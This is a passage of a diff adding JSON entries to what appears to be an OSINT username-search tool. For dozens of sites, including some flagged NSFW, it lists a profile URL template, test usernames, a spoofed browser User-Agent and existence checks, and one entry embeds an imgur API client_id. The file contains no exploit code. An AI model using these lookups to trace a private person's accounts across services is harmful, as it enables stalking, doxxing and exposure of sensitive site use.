"detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fosstodon.org/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fosstodon.org/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "freesound": { + "url": "https://freesound.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://freesound.org/people/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://freesound.org/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "gamespot": { + "url": "https://www.gamespot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gamespot.com/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gamespot.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "genius-artists": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/artists/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/artists/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "genius-users": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "gesundheitsfrage": { + "url": "https://www.gesundheitsfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gesundheitsfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gesundheitsfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "getmyuni": { + "url": "https://getmyuni.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.getmyuni.com/user/%s", + "existUsername": "Upneet.Grover17", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.getmyuni.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "giantbomb": { + "url": "https://www.giantbomb.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.giantbomb.com/profile/%s/", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.giantbomb.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "giphy": { + "url": "https://giphy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://giphy.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://giphy.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "goodreads": { + "url": "https://www.goodreads.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.goodreads.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.goodreads.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gradle": { + "url": "https://gradle.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://plugins.gradle.org/u/%s", + "existUsername": "jetbrains", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://plugins.gradle.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gravatar": { + "url": "http://en.gravatar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://en.gravatar.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://en.gravatar.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gunsandammo": { + "url": "https://gunsandammo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.gunsandammo.com/profile/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.gunsandammo.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gutefrage": { + "url": "https://www.gutefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gutefrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gutefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "hackthebox": { + "url": "https://forum.hackthebox.eu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.hackthebox.eu/profile/%s", + "existUsername": "angar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.hackthebox.eu/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EU" + } + }, + "hackaday": { + "url": "https://hackaday.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hackaday.io/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hackaday.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "harvardscholar": { + "url": "https://scholar.harvard.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scholar.harvard.edu/%s", + "existUsername": "ousmanekane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scholar.harvard.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hashnode": { + "url": "https://hashnode.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hashnode.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hashnode.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hubpages": { + "url": "https://hubpages.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hubpages.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hubpages.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icq": { + "url": "https://icq.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://icq.im/%s/en", + "existUsername": "Micheal", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://icq.im/%s/en" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "irl": { + "url": "https://www.irl.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.irl.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.irl.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icons8community": { + "url": "https://community.icons8.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.icons8.com/u/%s/summary", + "existUsername": "thefourCraft", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.icons8.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "imgup-cz": { + "url": "https://imgup.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://imgup.cz/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgup.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "imgur": { + "url": "https://imgur.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.imgur.com/account/v1/accounts/%s?client_id=546c25a59c58ad7", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgur.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "instructables": { + "url": "https://www.instructables.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instructables.com/member/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.instructables.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "intigriti": { + "url": "https://app.intigriti.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "We didn't find what you're looking for", + "url": "https://app.intigriti.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://app.intigriti.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "ionicforum": { + "url": "https://forum.ionicframework.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.ionicframework.com/u/%s", + "existUsername": "theblue222", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ionicframework.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "issuu": { + "url": "https://issuu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://issuu.com/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://issuu.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "itch-io": { + "url": "https://itch.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.itch.io/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.itch.io/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "jellyfinweblate": { + "url": "https://translate.jellyfin.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://translate.jellyfin.org/user/%s/", + "existUsername": "EraYaN", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://translate.jellyfin.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "jimdo": { + "url": "https://jimdosite.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.jimdosite.com", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.jimdosite.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "joplinforum": { + "url": "https://discourse.joplinapp.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.joplinapp.org/u/%s", + "existUsername": "laurent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.joplinapp.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "keakr": { + "url": "https://www.keakr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.keakr.com/en/profile/%s", + "existUsername": "beats", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.keakr.com/en/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "kaggle": { + "url": "https://www.kaggle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.kaggle.com/%s", + "existUsername": "dansbecker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kaggle.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "keybase": { + "url": "https://keybase.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://keybase.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://keybase.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lor": { + "url": "https://linux.org.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.linux.org.ru/people/%s/profile", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.linux.org.ru/people/%s/profile" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "launchpad": { + "url": "https://launchpad.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://launchpad.net/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://launchpad.net/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "lesswrong": { + "url": "https://www.lesswrong.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lesswrong.com/users/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lesswrong.com/users/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "linktree": { + "url": "https://linktr.ee/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://linktr.ee/%s", + "existUsername": "anne", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://linktr.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EE" + } + }, + "livejournal": { + "url": "https://www.livejournal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.livejournal.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.livejournal.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "lobsters": { + "url": "https://lobste.rs/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lobste.rs/u/%s", + "existUsername": "jcs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lobste.rs/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lottiefiles": { + "url": "https://lottiefiles.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lottiefiles.com/%s", + "existUsername": "lottiefiles", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lottiefiles.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lushstories": { + "url": "https://www.lushstories.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lushstories.com/profile/%s", + "existUsername": "chris_brown", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lushstories.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mmorpgforum": { + "url": "https://forums.mmorpg.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.mmorpg.com/profile/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.mmorpg.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "memrise": { + "url": "https://www.memrise.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.memrise.com/user/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.memrise.com/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mixcloud": { + "url": "https://www.mixcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.mixcloud.com/%s/", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mixcloud.com/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "modelhub": { + "url": "https://www.modelhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.modelhub.com/%s/videos", + "existUsername": "secretcrush", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.modelhub.com/%s/videos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "monkeytype": { + "url": "https://monkeytype.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.monkeytype.com/users/%s/profile", + "existUsername": "Lost_Arrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://monkeytype.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "motorradfrage": { + "url": "https://www.motorradfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.motorradfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.motorradfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "munzee": { + "url": "https://www.munzee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.munzee.com/m/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.munzee.com/m/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myanimelist": { + "url": "https://myanimelist.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myanimelist.net/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myanimelist.net/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "myminifactory": { + "url": "https://www.myminifactory.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.myminifactory.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.myminifactory.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myspace": { + "url": "https://myspace.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myspace.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myspace.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + 